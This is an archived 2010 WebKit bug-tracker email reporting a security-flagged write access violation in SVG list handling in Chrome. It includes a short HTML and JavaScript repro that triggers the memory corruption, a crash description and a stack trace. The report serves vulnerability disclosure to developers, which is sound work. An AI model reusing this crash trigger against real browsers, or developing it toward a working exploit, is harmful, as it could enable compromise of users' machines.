[Webkit-unassigned] [Bug 49061] New: chrome.dll!WebCore::SVGListPropertyTearOff<...>::getItem WriteAV at Arbitrary (578c0f7f21ca517ba29a4eafb7099c1b)

bugzilla-daemon at webkit.org bugzilla-daemon at webkit.org
Fri Nov 5 02:26:47 PDT 2010


https://bugs.webkit.org/show_bug.cgi?id=49061

           Summary: chrome.dll!WebCore::SVGListPropertyTearOff<...>::getIt
                    em WriteAV at Arbitrary
                    (578c0f7f21ca517ba29a4eafb7099c1b)
           Product: WebKit
           Version: 528+ (Nightly build)
          Platform: PC
               URL: http://code.google.com/p/chromium/issues/detail?id=620
                    31
        OS/Version: Windows Vista
            Status: NEW
          Severity: Normal
          Priority: P1
         Component: SVG
        AssignedTo: webkit-unassigned at lists.webkit.org
        ReportedBy: skylined at chromium.org
                CC: eric at webkit.org, zimmermann at kde.org,
                    mdelaney at apple.com


Created an attachment (id=73047)
 --> (https://bugs.webkit.org/attachment.cgi?id=73047&action=review)
Repro

Repro:
<html><head><script>
  function go() {
    var oSvgFEMorphologyElement = parent.document.createElementNS("http://www.w3.org/2000/svg", "feMorphology");
    var oSvgTextElement = parent.document.createElementNS("http://www.w3.org/2000/svg", "text");
    var oSvgRectElement = parent.document.createElementNS("http://www.w3.org/2000/svg", "rect");
    var oSvgLength = oSvgRectElement.height.animVal;
    oSvgTextElement.x.baseVal.insertItemBefore(oSvgLength,0000013);
    oAnimVal = oSvgTextElement.x.animVal;
    oSvgTextElement.x.baseVal.insertItemBefore(oSvgFEMorphologyElement.height.animVal, 2639);
    oSvgTextElement.x.animVal.getItem(1);
    console.log(oAnimVal);
    location.reload();
  }
</script></head><body onload="go();"></body></html>

This may be the same as issue 48829, which is not marked as security. In case it is, please hide that bug as well.

id:             chrome.dll!WebCore::SVGListPropertyTearOff<...>::getItem WriteAV at Arbitrary (578c0f7f21ca517ba29a4eafb7099c1b)
description:    Security: Attempt to write to unallocated arbitrary memory @ 0x00726576 in chrome.dll!WebCore::SVGListPropertyTearOff<...>::getItem
note:           Based on this information, this is expected to be a security issue!
stack:          chrome.dll!WebCore::SVGListPropertyTearOff<...>::getItem
                chrome.dll!WebCore::SVGLengthListInternal::getItemCallback
                chrome.dll!v8::internal::HandleApiCallHelper<...>
                chrome.dll!v8::internal::Builtin_HandleApiCall
                chrome.dll!v8::internal::Invoke
                chrome.dll!v8::internal::Execution::Call
                ...

-- 
Configure bugmail: https://bugs.webkit.org/userprefs.cgi?tab=email
------- You are receiving this mail because: -------
You are the assignee for the bug.



More information about the webkit-unassigned mailing list